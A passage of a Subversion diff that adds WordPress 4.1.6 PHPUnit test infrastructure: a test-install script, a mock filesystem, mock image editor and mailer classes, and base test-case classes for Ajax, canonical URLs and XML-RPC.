+ * Installs WordPress for the purpose of the unit-tests
+ *
+ * @todo Reuse the init/load code in init.php
+ */
+error_reporting( E_ALL & ~E_DEPRECATED & ~E_STRICT );
+
+$config_file_path = $argv[1];
+$multisite = ! empty( $argv[2] );
+
+define( 'WP_INSTALLING', true );
+require_once $config_file_path;
+require_once dirname( __FILE__ ) . '/functions.php';
+
+$_SERVER['SERVER_PROTOCOL'] = 'HTTP/1.1';
+$_SERVER['HTTP_HOST'] = WP_TESTS_DOMAIN;
+$PHP_SELF = $GLOBALS['PHP_SELF'] = $_SERVER['PHP_SELF'] = '/index.php';
+
+require_once ABSPATH . '/wp-settings.php';
+
+require_once ABSPATH . '/wp-admin/includes/upgrade.php';
+require_once ABSPATH . '/wp-includes/wp-db.php';
+
+// Override the PHPMailer
+global $phpmailer;
+require_once( dirname( __FILE__ ) . '/mock-mailer.php' );
+$phpmailer = new MockPHPMailer();
+
+$wpdb->query( 'SET storage_engine = INNODB' );
+$wpdb->select( DB_NAME, $wpdb->dbh );
+
+echo "Installing..." . PHP_EOL;
+
+foreach ( $wpdb->tables() as $table => $prefixed_table ) {
+	$wpdb->query( "DROP TABLE IF EXISTS $prefixed_table" );
+}
+
+foreach ( $wpdb->tables( 'ms_global' ) as $table => $prefixed_table ) {
+	$wpdb->query( "DROP TABLE IF EXISTS $prefixed_table" );
+
+	// We need to create references to ms global tables.
+	if ( $multisite )
+		$wpdb->$table = $prefixed_table;
+}
+
+wp_install( WP_TESTS_TITLE, 'admin', WP_TESTS_EMAIL, true, null, 'password' );
+
+if ( $multisite ) {
+	echo "Installing network..." . PHP_EOL;
+
+	define( 'WP_INSTALLING_NETWORK', true );
+
+	$title = WP_TESTS_TITLE . ' Network';
+	$subdomain_install = false;
+
+	install_network();
+	populate_network( 1, WP_TESTS_DOMAIN, WP_TESTS_EMAIL, $title, '/', $subdomain_install );
+	$wp_rewrite->set_permalink_structure( '' );
+}
Index: /tags/4.1.6/tests/phpunit/includes/mock-fs.php
===================================================================
--- /tags/4.1.6/tests/phpunit/includes/mock-fs.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/includes/mock-fs.php	(revision 33402)
@@ -0,0 +1,228 @@
+<?php
+class WP_Filesystem_MockFS extends WP_Filesystem_Base {
+	private $cwd;
+
+	// Holds a array of objects which contain an array of objects, etc.
+	private $fs = null;
+
+	// Holds a array of /path/to/file.php and /path/to/dir/ map to an object in $fs above
+	// a fast more efficient way of determining if a path exists, and access to that node
+	private $fs_map = array();
+
+	public $verbose = false; // Enable to debug WP_Filesystem_Base::find_folder() / etc.
+	public $errors = array();
+	public $method = 'MockFS';
+
+	function __construct() {}
+
+	function connect() {
+		return true;
+	}
+
+	// Copy of core's function, but accepts a path.
+	function abspath( $path = false ) {
+		if ( ! $path )
+			$path = ABSPATH;
+		$folder = $this->find_folder( $path );
+
+		// Perhaps the FTP folder is rooted at the WordPress install, Check for wp-includes folder in root, Could have some false positives, but rare.
+		if ( ! $folder && $this->is_dir('/wp-includes') )
+			$folder = '/';
+		return $folder;
+	}
+
+	// Mock FS specific functions:
+
+	/**
+	 * Sets initial filesystem environment and/or clears the current environment.
+	 * Can also be passed the initial filesystem to be setup which is passed to self::setfs()
+	 */
+	function init( $paths = '', $home_dir = '/' ) {
+		$this->fs = new MockFS_Directory_Node( '/' );
+		$this->fs_map = array(
+			'/' => $this->fs,
+		);
+		$this->cache = array(); // Used by find_folder() and friends
+		$this->cwd = isset( $this->fs_map[ $home_dir ] ) ? $this->fs_map[ $home_dir ] : '/';
+		$this->setfs( $paths );
+	}
+
+	/**
+	 * "Bulk Loads" a filesystem into the internal virtual filesystem
+	 */
+	function setfs( $paths ) {
+		if ( ! is_array($paths) )
+			$paths = explode( "\n", $paths );
+
+		$paths = array_filter( array_map( 'trim', $paths ) );
+
+		foreach ( $paths as $path ) {
+			// Allow for comments
+			if ( '#' == $path[0] )
+				continue;
+
+			// Directories
+			if ( '/' == $path[ strlen($path) -1 ] )
+				$this->mkdir( $path );
+			else // Files (with dummy content for now)
+				$this->put_contents( $path, 'This is a test file' );
+		}
+
+	}
+
+	/**
+	 * Locates a filesystem "node"
+	 */
+	private function locate_node( $path ) {
+		return isset( $this->fs_map[ $path ] ) ? $this->fs_map[ $path ] : false;
+	}
+
+	/**
+	 * Locates a filesystem node for the parent of the given item
+	 */
+	private function locate_parent_node( $path ) {
+		$dirname = str_replace( '\\', '/', dirname( $path ) );
+		return $this->locate_node( trailingslashit( $dirname ) );
+	}
+
+	// Here starteth the WP_Filesystem functions.
+
+	function mkdir( $path, /* Optional args are ignored */ $chmod = false, $chown = false, $chgrp = false ) {
+		$path = trailingslashit( $path );
+
+		$parent_node = $this->locate_parent_node( $path );
+		if ( ! $parent_node ) {
+			$dirname = str_replace( '\\', '/', dirname( $path ) );
+			$this->mkdir( $dirname );
+			$parent_node = $this->locate_parent_node( $path );
+			if ( ! $parent_node )
+				return false;
+		}
+
+		$node = new MockFS_Directory_Node( $path );
+
+		$parent_node->children[ $node->name ] = $node;
+		$this->fs_map[ $path ] = $node;
+
+		return true;
+	}
+
+	function put_contents( $path, $contents = '', $mode = null ) {
+		if ( ! $this->is_dir( dirname( $path ) ) )
+			$this->mkdir( dirname( $path ) );
+
+		$parent = $this->locate_parent_node( $path );
+		$new_file = new MockFS_File_Node( $path, $contents );
+
+		$parent->children[ $new_file->name ] = $new_file;
+		$this->fs_map[ $path ] = $new_file;
+	}
+
+	function get_contents( $file ) {
+		if ( ! $this->is_file( $file ) )
+			return false;
+		return $this->fs_map[ $file ]->contents;
+	}
+
+	function cwd() {
+		return $this->cwd->path;
+	}
+
+	function chdir( $path ) {
+		if ( ! isset( $this->fs_map[ $path ] ) )
+			return false;
+
+		$this->cwd = $this->fs_map[ $path ];
+		return true;
+	}
+
+	function exists( $path ) {
+		return isset( $this->fs_map[ $path ] ) || isset( $this->fs_map[ trailingslashit( $path ) ] );
+	}
+
+	function is_file( $file ) {
+		return isset( $this->fs_map[ $file ] ) && $this->fs_map[ $file ]->is_file();
+	}
+
+	function is_dir( $path ) {
+		$path = trailingslashit( $path );
+
+		return isset( $this->fs_map[ $path ] ) && $this->fs_map[ $path ]->is_dir();
+	}
+
+	function dirlist( $path = '.', $include_hidden = true, $recursive = false ) {
+
+		if ( empty( $path ) || '.' == $path )
+			$path = $this->cwd();
+
+		if ( ! $this->exists( $path ) )
+			return false;
+
+		$limit_file = false;
+		if ( $this->is_file( $path ) ) {
+			$limit_file = $this->locate_node( $path )->name;
+			$path = dirname( $path ) . '/';
+		}
+
+		$ret = array();
+		foreach ( $this->fs_map[ $path ]->children as $entry ) {
+			if ( '.' == $entry->name || '..' == $entry->name )
+				continue;
+
+			if ( ! $include_hidden && '.' == $entry->name )
+				continue;
+
+			if ( $limit_file && $entry->name != $limit_file )
+				continue;
+
+			$struc = array();
+			$struc['name'] = $entry->name;
+			$struc['type'] = $entry->type;
+
+			if ( 'd' == $struc['type'] ) {
+				if ( $recursive )
+					$struc['files'] = $this->dirlist( trailingslashit( $path ) . trailingslashit( $struc['name'] ), $include_hidden, $recursive );
+				else
+					$struc['files'] = array();
+			}
+
+			$ret[ $entry->name ] = $struc;
+		}
+		return $ret;
+	}
+
+}
+
+class MockFS_Node {
+	public $name; // The "name" of the entry, does not include a slash (exception, root)
+	public $type; // The type of the entry 'f' for file, 'd' for Directory
+	public $path; // The full path to the entry.
+
+	function __construct( $path ) {
+		$this->path = $path;
+		$this->name = basename( $path );
+	}
+
+	function is_file() {
+		return $this->type == 'f';
+	}
+
+	function is_dir() {
+		return $this->type == 'd';
+	}
+}
+
+class MockFS_Directory_Node extends MockFS_Node {
+	public $type = 'd';
+	public $children = array(); // The child nodes of this directory
+}
+
+class MockFS_File_Node extends MockFS_Node {
+	public $type = 'f';
+	public $contents = ''; // The contents of the file
+
+	function __construct( $path, $contents = '' ) {
+		parent::__construct( $path );
+		$this->contents = $contents;
+	}
+}
Index: /tags/4.1.6/tests/phpunit/includes/mock-image-editor.php
===================================================================
--- /tags/4.1.6/tests/phpunit/includes/mock-image-editor.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/includes/mock-image-editor.php	(revision 33402)
@@ -0,0 +1,48 @@
+<?php
+
+if (class_exists( 'WP_Image_Editor' ) ) :
+
+	class WP_Image_Editor_Mock extends WP_Image_Editor {
+
+		public static $load_return = true;
+		public static $test_return = true;
+		public static $save_return = array();
+
+		// Allow testing of jpeg_quality filter.
+		public function set_mime_type( $mime_type = null ) {
+			$this->mime_type = $mime_type;
+		}
+
+		public function load() {
+			return self::$load_return;
+		}
+		public static function test( $args = array() ) {
+			return self::$test_return;
+		}
+		public static function supports_mime_type( $mime_type ) {
+			return true;
+		}
+		public function resize( $max_w, $max_h, $crop = false ) {
+
+		}
+		public function multi_resize( $sizes ) {
+
+		}
+		public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ) {
+
+		}
+		public function rotate( $angle ) {
+
+		}
+		public function flip( $horz, $vert ) {
+
+		}
+		public function save( $destfilename = null, $mime_type = null ) {
+			return self::$save_return;
+		}
+		public function stream( $mime_type = null ) {
+
+		}
+	}
+
+endif;
Index: /tags/4.1.6/tests/phpunit/includes/mock-mailer.php
===================================================================
--- /tags/4.1.6/tests/phpunit/includes/mock-mailer.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/includes/mock-mailer.php	(revision 33402)
@@ -0,0 +1,28 @@
+<?php
+require_once( ABSPATH . '/wp-includes/class-phpmailer.php' );
+
+class MockPHPMailer extends PHPMailer {
+	var $mock_sent = array();
+
+	/**
+	 * Override send() so mail isn't actually sent.
+	 */
+	function send() {
+		try {
+			if ( ! $this->preSend() )
+				return false;
+
+			$this->mock_sent[] = array(
+				'to'     => $this->to,
+				'cc'     => $this->cc,
+				'bcc'    => $this->bcc,
+				'header' => $this->MIMEHeader,
+				'body'   => $this->MIMEBody,
+			);
+
+			return true;
+		} catch ( phpmailerException $e ) {
+			return false;
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/includes/testcase-ajax.php
===================================================================
--- /tags/4.1.6/tests/phpunit/includes/testcase-ajax.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/includes/testcase-ajax.php	(revision 33402)
@@ -0,0 +1,182 @@
+<?php
+/**
+ * Ajax test cases
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ */
+
+/**
+ * Ajax test case class
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ */
+abstract class WP_Ajax_UnitTestCase extends WP_UnitTestCase {
+
+	/**
+	 * Last AJAX response.  This is set via echo -or- wp_die.
+	 * @var type
+	 */
+	protected $_last_response = '';
+
+	/**
+	 * List of ajax actions called via POST
+	 * @var type
+	 */
+	protected $_core_actions_get = array( 'fetch-list', 'ajax-tag-search', 'wp-compression-test', 'imgedit-preview', 'oembed_cache' );
+
+	/**
+	 * Saved error reporting level
+	 * @var int
+	 */
+	protected $_error_level = 0;
+
+	/**
+	 * List of ajax actions called via GET
+	 * @var type
+	 */
+	protected $_core_actions_post = array(
+		'oembed_cache', 'image-editor', 'delete-comment', 'delete-tag', 'delete-link',
+		'delete-meta', 'delete-post', 'trash-post', 'untrash-post', 'delete-page', 'dim-comment',
+		'add-link-category', 'add-tag', 'get-tagcloud', 'get-comments', 'replyto-comment',
+		'edit-comment', 'add-menu-item', 'add-meta', 'add-user', 'closed-postboxes',
+		'hidden-columns', 'update-welcome-panel', 'menu-get-metabox', 'wp-link-ajax',
+		'menu-locations-save', 'menu-quick-search', 'meta-box-order', 'get-permalink',
+		'sample-permalink', 'inline-save', 'inline-save-tax', 'find_posts', 'widgets-order',
+		'save-widget', 'set-post-thumbnail', 'date_format', 'time_format', 'wp-fullscreen-save-post',
+		'wp-remove-post-lock', 'dismiss-wp-pointer', 'heartbeat', 'nopriv_heartbeat',
+	);
+
+	/**
+	 * Set up the test fixture.
+	 * Override wp_die(), pretend to be ajax, and suppres E_WARNINGs
+	 */
+	public function setUp() {
+		parent::setUp();
+
+		// Register the core actions
+		foreach ( array_merge( $this->_core_actions_get, $this->_core_actions_post ) as $action )
+			if ( function_exists( 'wp_ajax_' . str_replace( '-', '_', $action ) ) )
+				add_action( 'wp_ajax_' . $action, 'wp_ajax_' . str_replace( '-', '_', $action ), 1 );
+
+		add_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 );
+		if ( !defined( 'DOING_AJAX' ) )
+			define( 'DOING_AJAX', true );
+		set_current_screen( 'ajax' );
+
+		// Clear logout cookies
+		add_action( 'clear_auth_cookie', array( $this, 'logout' ) );
+
+		// Suppress warnings from "Cannot modify header information - headers already sent by"
+		$this->_error_level = error_reporting();
+		error_reporting( $this->_error_level & ~E_WARNING );
+
+		// Make some posts
+		$this->factory->post->create_many( 5 );
+	}
+
+	/**
+	 * Tear down the test fixture.
+	 * Reset $_POST, remove the wp_die() override, restore error reporting
+	 */
+	public function tearDown() {
+		parent::tearDown();
+		$_POST = array();
+		$_GET = array();
+		unset( $GLOBALS['post'] );
+		unset( $GLOBALS['comment'] );
+		remove_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 );
+		remove_action( 'clear_auth_cookie', array( $this, 'logout' ) );
+		error_reporting( $this->_error_level );
+		set_current_screen( 'front' );
+	}
+
+	/**
+	 * Clear login cookies, unset the current user
+	 */
+	public function logout() {
+		unset( $GLOBALS['current_user'] );
+		$cookies = array(AUTH_COOKIE, SECURE_AUTH_COOKIE, LOGGED_IN_COOKIE, USER_COOKIE, PASS_COOKIE);
+		foreach ( $cookies as $c )
+			unset( $_COOKIE[$c] );
+	}
+
+	/**
+	 * Return our callback handler
+	 * @return callback
+	 */
+	public function getDieHandler() {
+		return array( $this, 'dieHandler' );
+	}
+
+	/**
+	 * Handler for wp_die()
+	 * Save the output for analysis, stop execution by throwing an exception.
+	 * Error conditions (no output, just die) will throw <code>WPAjaxDieStopException( $message )</code>
+	 * You can test for this with:
+	 * <code>
+	 * $this->setExpectedException( 'WPAjaxDieStopException', 'something contained in $message' );
+	 * </code>
+	 * Normal program termination (wp_die called at then end of output) will throw <code>WPAjaxDieContinueException( $message )</code>
+	 * You can test for this with:
+	 * <code>
+	 * $this->setExpectedException( 'WPAjaxDieContinueException', 'something contained in $message' );
+	 * </code>
+	 * @param string $message
+	 */
+	public function dieHandler( $message ) {
+		$this->_last_response .= ob_get_clean();
+
+		if ( '' === $this->_last_response ) {
+			if ( is_scalar( $message ) ) {
+				throw new WPAjaxDieStopException( (string) $message );
+			} else {
+				throw new WPAjaxDieStopException( '0' );
+			}
+		} else {
+			throw new WPAjaxDieContinueException( $message );
+		}
+	}
+
+	/**
+	 * Switch between user roles
+	 * E.g. administrator, editor, author, contributor, subscriber
+	 * @param string $role
+	 */
+	protected function _setRole( $role ) {
+		$post = $_POST;
+		$user_id = $this->factory->user->create( array( 'role' => $role ) );
+		wp_set_current_user( $user_id );
+		$_POST = array_merge($_POST, $post);
+	}
+
+	/**
+	 * Mimic the ajax handling of admin-ajax.php
+	 * Capture the output via output buffering, and if there is any, store
+	 * it in $this->_last_message.
+	 * @param string $action
+	 */
+	protected function _handleAjax($action) {
+
+		// Start output buffering
+		ini_set( 'implicit_flush', false );
+		ob_start();
+
+		// Build the request
+		$_POST['action'] = $action;
+		$_GET['action']  = $action;
+		$_REQUEST        = array_merge( $_POST, $_GET );
+
+		// Call the hooks
+		do_action( 'admin_init' );
+		do_action( 'wp_ajax_' . $_REQUEST['action'], null );
+
+		// Save the output
+		$buffer = ob_get_clean();
+		if ( !empty( $buffer ) )
+			$this->_last_response = $buffer;
+	}
+}
Index: /tags/4.1.6/tests/phpunit/includes/testcase-canonical.php
===================================================================
--- /tags/4.1.6/tests/phpunit/includes/testcase-canonical.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/includes/testcase-canonical.php	(revision 33402)
@@ -0,0 +1,223 @@
+<?php
+
+class WP_Canonical_UnitTestCase extends WP_UnitTestCase {
+	static $old_current_user;
+	static $author_id;
+	static $post_ids = array();
+	static $comment_ids = array();
+	static $term_ids = array();
+	static $terms = array();
+	static $old_options = array();
+
+	/**
+	 * This can be defined in a subclass of this class which contains its own data() method.
+	 * Those tests will be run against the specified permastruct.
+	 */
+	public $structure = '/%year%/%monthnum%/%day%/%postname%/';
+
+	public function setUp() {
+		global $wp_rewrite;
+
+		parent::setUp();
+
+		update_option( 'page_comments', true );
+		update_option( 'comments_per_page', 5 );
+		update_option( 'posts_per_page', 5 );
+
+		$wp_rewrite->init();
+		$wp_rewrite->set_permalink_structure( $this->structure );
+		create_initial_taxonomies();
+		$wp_rewrite->flush_rules();
+	}
+
+	/**
+	 * Generate fixtures to be shared between canonical tests.
+	 *
+	 * Abstracted here because it's invoked by setUpBeforeClass() in more than one class.
+	 *
+	 * @since 4.1.0
+	 */
+	public static function generate_shared_fixtures() {
+		global $wp_rewrite;
+
+		$factory = new WP_UnitTest_Factory;
+
+		self::$old_current_user = get_current_user_id();
+		self::$author_id = $factory->user->create( array( 'user_login' => 'canonical-author' ) );
+
+		/*
+		 * Also set in self::setUp(), but we must configure here to make sure that
+		 * post authorship is properly attributed for fixtures.
+		 */
+		wp_set_current_user( self::$author_id );
+
+		// Already created by install defaults:
+		// $this->factory->term->create( array( 'taxonomy' => 'category', 'name' => 'uncategorized' ) );
+
+		self::$post_ids[] = $factory->post->create( array( 'import_id' => 587, 'post_title' => 'post-format-test-audio', 'post_date' => '2008-06-02 00:00:00' ) );
+		self::$post_ids[] = $post_id = $factory->post->create( array( 'post_title' => 'post-format-test-gallery', 'post_date' => '2008-06-10 00:00:00' ) );
+		self::$post_ids[] = $factory->post->create( array( 'import_id' => 611, 'post_type' => 'attachment', 'post_title' => 'canola2', 'post_parent' => $post_id ) );
+
+		self::$post_ids[] = $factory->post->create( array(
+			'post_title' => 'images-test',
+			'post_date' => '2008-09-03 00:00:00',
+			'post_content' => 'Page 1 <!--nextpage--> Page 2 <!--nextpage--> Page 3'
+		) );
+
+		self::$post_ids[] = $post_id = $factory->post->create( array( 'import_id' => 149, 'post_title' => 'comment-test', 'post_date' => '2008-03-03 00:00:00' ) );
+		self::$comment_ids = $factory->comment->create_post_comments( $post_id, 15 );
+
+		self::$post_ids[] = $factory->post->create( array( 'post_date' => '2008-09-05 00:00:00' ) );
+
+		self::$post_ids[] = $factory->post->create( array( 'import_id' => 123 ) );
+		self::$post_ids[] = $factory->post->create( array( 'import_id' => 1 ) );
+		self::$post_ids[] = $factory->post->create( array( 'import_id' => 358 ) );
+
+		self::$post_ids[] = $factory->post->create( array( 'post_type' => 'page', 'post_title' => 'sample-page' ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_type' => 'page', 'post_title' => 'about' ) );
+		self::$post_ids[] = $post_id = $factory->post->create( array( 'post_type' => 'page', 'post_title' => 'parent-page' ) );
+		self::$post_ids[] = $factory->post->create(
+			array( 'import_id' => 144, 'post_type' => 'page', 'post_title' => 'child-page-1', 'post_parent' => $post_id,
+		) );
+
+		$cat1 = $factory->term->create( array( 'taxonomy' => 'category', 'name' => 'parent' ) );
+		self::$terms['/category/parent/'] = $cat1;
+		self::$term_ids[ $cat1 ] = 'category';
+
+		$cat2 = $factory->term->create( array(
+			'taxonomy' => 'category', 'name' => 'child-1', 'parent' => self::$terms['/category/parent/'],
+		) );
+		self::$terms['/category/parent/child-1/'] = $cat2;
+		self::$term_ids[ $cat2 ] = 'category';
+
+		$cat3 = $factory->term->create( array(
+			'taxonomy' => 'category', 'name' => 'child-2', 'parent' => self::$terms['/category/parent/child-1/'],
+		) );
+		self::$terms['/category/parent/child-1/child-2/'] = $cat3;
+		self::$term_ids[ $cat3 ] = 'category';
+
+		$cat4 = $factory->term->create( array( 'taxonomy' => 'category', 'name' => 'cat-a' ) );
+		self::$term_ids[ $cat4 ] = 'category';
+
+		$cat5 = $factory->term->create( array( 'taxonomy' => 'category', 'name' => 'cat-b' ) );
+		self::$term_ids[ $cat5 ] = 'category';
+
+		$tag1 = $factory->term->create( array( 'name' => 'post-formats' ) );
+		self::$term_ids[ $tag1 ] = 'post_tag';
+
+		self::commit_transaction();
+	}
+
+	/**
+	 * Clean up shared fixtures.
+	 *
+	 * @since 4.1.0
+	 */
+	public static function delete_shared_fixtures() {
+		global $wp_rewrite;
+
+		if ( is_multisite() ) {
+			wpmu_delete_user( self::$author_id );
+		} else {
+			wp_delete_user( self::$author_id );
+		}
+
+		foreach ( self::$post_ids as $pid ) {
+			wp_delete_post( $pid, true );
+		}
+
+		foreach ( self::$comment_ids as $cid ) {
+			wp_delete_comment( $cid, true );
+		}
+
+		foreach ( self::$term_ids as $tid => $tax ) {
+			wp_delete_term( $tid, $tax );
+		}
+
+		self::$author_id = null;
+		self::$post_ids = array();
+		self::$comment_ids = array();
+		self::$term_ids = array();
+		self::$terms = array();
+
+		self::commit_transaction();
+	}
+
+	/**
+	 * Assert that a given URL is the same a the canonical URL generated by WP.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param string $test_url                Raw URL that will be run through redirect_canonical().
+	 * @param string $expected                Expected string.
+	 * @param int    $ticket                  Optional. Trac ticket number.
+	 * @param array  $expected_doing_it_wrong Array of class/function names expected to throw _doing_it_wrong() notices.
+	 */
+	public function assertCanonical( $test_url, $expected, $ticket = 0, $expected_doing_it_wrong = array() ) {
+		$this->expected_doing_it_wrong = array_merge( $this->expected_doing_it_wrong, (array) $expected_doing_it_wrong );
+
+		if ( $ticket )
+			$this->knownWPBug( $ticket );
+
+		$ticket_ref = ($ticket > 0) ? 'Ticket #' . $ticket : null;
+global $wpdb;
+//print_r( $wpdb->get_results( "SELECT * FROM $wpdb->terms" ) );
+		if ( is_string($expected) )
+			$expected = array('url' => $expected);
+		elseif ( is_array($expected) && !isset($expected['url']) && !isset($expected['qv']) )
+			$expected = array( 'qv' => $expected );
+
+		if ( !isset($expected['url']) && !isset($expected['qv']) )
+			$this->markTestSkipped('No valid expected output was provided');
+
+		$this->go_to( home_url( $test_url ) );
+
+		// Does the redirect match what's expected?
+		$can_url = $this->get_canonical( $test_url );
+		$parsed_can_url = parse_url($can_url);
+
+		// Just test the Path and Query if present
+		if ( isset($expected['url']) ) {
+			$this->assertEquals( $expected['url'], $parsed_can_url['path'] . (!empty($parsed_can_url['query']) ? '?' . $parsed_can_url['query'] : ''), $ticket_ref );
+		}
+
+		if ( ! isset($expected['qv']) )
+			return;
+
+		// "make" that the request and check the query is correct
+		$this->go_to( $can_url );
+
+		// Are all query vars accounted for, And correct?
+		global $wp;
+
+		$query_vars = array_diff($wp->query_vars, $wp->extra_query_vars);
+		if ( !empty($parsed_can_url['query']) ) {
+			parse_str($parsed_can_url['query'], $_qv);
+
+			// $_qv should not contain any elements which are set in $query_vars already (ie. $_GET vars should not be present in the Rewrite)
+			$this->assertEquals( array(), array_intersect( $query_vars, $_qv ), 'Query vars are duplicated from the Rewrite into $_GET; ' . $ticket_ref );
+
+			$query_vars = array_merge($query_vars, $_qv);
+		}
+
+		$this->assertEquals( $expected['qv'], $query_vars );
+	}
+
+	/**
+	 * Get the canonical URL given a raw URL.
+	 *
+	 * @param string $test_url Should be relative to the site "front", ie /category/uncategorized/
+	 *                         as opposed to http://example.com/category/uncategorized/
+	 * @return $can_url Returns the original $test_url if no canonical can be generated, otherwise returns
+	 *                  the fully-qualified URL as generated by redirect_canonical().
+	 */
+	public function get_canonical( $test_url ) {
+		$test_url = home_url( $test_url );
+
+		$can_url = redirect_canonical( $test_url, false );
+		if ( ! $can_url )
+			return $test_url; // No redirect will take place for this request
+
+		return $can_url;
+	}
+}
Index: /tags/4.1.6/tests/phpunit/includes/testcase-xmlrpc.php
===================================================================
--- /tags/4.1.6/tests/phpunit/includes/testcase-xmlrpc.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/includes/testcase-xmlrpc.php	(revision 33402)
@@ -0,0 +1,31 @@
+<?php
+include_once(ABSPATH . 'wp-admin/includes/admin.php');
+include_once(ABSPATH . WPINC . '/class-IXR.php');
+include_once(ABSPATH . WPINC . '/class-wp-xmlrpc-server.php');
+
+class WP_XMLRPC_UnitTestCase extends WP_UnitTestCase {
+	protected $myxmlrpcserver;
+
+	function setUp() {
+		parent::setUp();
+
+		add_filter( 'pre_option_enable_xmlrpc', '__return_true' );
+
+		$this->myxmlrpcserver = new wp_xmlrpc_server();
+	}
+
+	function tearDown() {
+		remove_filter( 'pre_option_enable_xmlrpc', '__return_true' );
+		$this->remove_added_uploads();
+
+		parent::tearDown();
+	}
+
+	protected function make_user_by_role( $role ) {
+		return $this->factory->user->create( array(
+			'user_login' => $role,
+			'user_pass'  => $role,
+			'role'       => $role
+		));
+	}
+}
Index: /tags/4.1.6/tests/phpunit/includes/testcase.php
===================================================================
--- /tags/4.1.6/tests/phpunit/includes/testcase.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/includes/testcase.php	(revision 33402)
@@ -0,0 +1,522 @@
+<?php
+
+require_once dirname( __FILE__ ) . '/factory.php';
+require_once dirname( __FILE__ ) . '/trac.php';
+
+class WP_UnitTestCase extends PHPUnit_Framework_TestCase {
+
+	protected static $forced_tickets = array();
+	protected $expected_deprecated = array();
+	protected $caught_deprecated = array();
+	protected $expected_doing_it_wrong = array();
+	protected $caught_doing_it_wrong = array();
+
+	protected static $hooks_saved = array();
+	protected static $ignore_files;
+
+	/**
+	 * @var WP_UnitTest_Factory
+	 */
+	protected $factory;
+
+	function setUp() {
+		set_time_limit(0);
+
+		if ( ! self::$ignore_files ) {
+			self::$ignore_files = $this->scan_user_uploads();
+		}
+
+		if ( ! self::$hooks_saved ) {
+			$this->_backup_hooks();
+		}
+
+		global $wpdb;
+		$wpdb->suppress_errors = false;
+		$wpdb->show_errors = true;
+		$wpdb->db_connect();
+		ini_set('display_errors', 1 );
+		$this->factory = new WP_UnitTest_Factory;
+		$this->clean_up_global_scope();
+
+		/*
+		 * When running core tests, ensure that post types and taxonomies
+		 * are reset for each test. We skip this step for non-core tests,
+		 * given the large number of plugins that register post types and
+		 * taxonomies at 'init'.
+		 */
+		if ( defined( 'WP_RUN_CORE_TESTS' ) && WP_RUN_CORE_TESTS ) {
+			$this->reset_post_types();
+			$this->reset_taxonomies();
+		}
+
+		$this->start_transaction();
+		$this->expectDeprecated();
+		add_filter( 'wp_die_handler', array( $this, 'get_wp_die_handler' ) );
+	}
+
+	function tearDown() {
+		global $wpdb, $wp_query, $post;
+		$this->expectedDeprecated();
+		$wpdb->query( 'ROLLBACK' );
+		if ( is_multisite() ) {
+			while ( ms_is_switched() ) {
+				restore_current_blog();
+			}
+		}
+		$wp_query = new WP_Query();
+		$post = null;
+		remove_theme_support( 'html5' );
+		remove_filter( 'query', array( $this, '_create_temporary_tables' ) );
+		remove_filter( 'query', array( $this, '_drop_temporary_tables' ) );
+		remove_filter( 'wp_die_handler', array( $this, 'get_wp_die_handler' ) );
+		$this->_restore_hooks();
+		wp_set_current_user( 0 );
+	}
+
+	function clean_up_global_scope() {
+		$_GET = array();
+		$_POST = array();
+		$this->flush_cache();
+	}
+
+	/**
+	 * Unregister existing post types and register defaults.
+	 *
+	 * Run before each test in order to clean up the global scope, in case
+	 * a test forgets to unregister a post type on its own, or fails before
+	 * it has a chance to do so.
+	 */
+	protected function reset_post_types() {
+		foreach ( get_post_types() as $pt ) {
+			_unregister_post_type( $pt );
+		}
+		create_initial_post_types();
+	}
+
+	/**
+	 * Unregister existing taxonomies and register defaults.
+	 *
+	 * Run before each test in order to clean up the global scope, in case
+	 * a test forgets to unregister a taxonomy on its own, or fails before
+	 * it has a chance to do so.
+	 */
+	protected function reset_taxonomies() {
+		foreach ( get_taxonomies() as $tax ) {
+			_unregister_taxonomy( $tax );
+		}
+		create_initial_taxonomies();
+	}
+
+	/**
+	 * Saves the action and filter-related globals so they can be restored later.
+	 *
+	 * Stores $merged_filters, $wp_actions, $wp_current_filter, and $wp_filter
+	 * on a class variable so they can be restored on tearDown() using _restore_hooks().
+	 *
+	 * @global array $merged_filters
+	 * @global array $wp_actions
+	 * @global array $wp_current_filter
+	 * @global array $wp_filter
+	 * @return void
+	 */
+	protected function _backup_hooks() {
+		$globals = array( 'merged_filters', 'wp_actions', 'wp_current_filter', 'wp_filter' );
+		foreach ( $globals as $key ) {
+			self::$hooks_saved[ $key ] = $GLOBALS[ $key ];
+		}
+	}
+
+	/**
+	 * Restores the hook-related globals to their state at setUp()
+	 * so that future tests aren't affected by hooks set during this last test.
+	 *
+	 * @global array $merged_filters
+	 * @global array $wp_actions
+	 * @global array $wp_current_filter
+	 * @global array $wp_filter
+	 * @return void
+	 */
+	protected function _restore_hooks() {
+		$globals = array( 'merged_filters', 'wp_actions', 'wp_current_filter', 'wp_filter' );
+		foreach ( $globals as $key ) {
+			if ( isset( self::$hooks_saved[ $key ] ) ) {
+				$GLOBALS[ $key ] = self::$hooks_saved[ $key ];
+			}
+		}
+	}
+
+	function flush_cache() {
+		global $wp_object_cache;
+		$wp_object_cache->group_ops = array();
+		$wp_object_cache->stats = array();
+		$wp_object_cache->memcache_debug = array();
+		$wp_object_cache->cache = array();
+		if ( method_exists( $wp_object_cache, '__remoteset' ) ) {
+			$wp_object_cache->__remoteset();
+		}
+		wp_cache_flush();
+		wp_cache_add_global_groups( array( 'users', 'userlogins', 'usermeta', 'user_meta', 'site-transient', 'site-options', 'site-lookup', 'blog-lookup', 'blog-details', 'rss', 'global-posts', 'blog-id-cache' ) );
+		wp_cache_add_non_persistent_groups( array( 'comment', 'counts', 'plugins' ) );
+	}
+
+	function start_transaction() {
+		global $wpdb;
+		$wpdb->query( 'SET autocommit = 0;' );
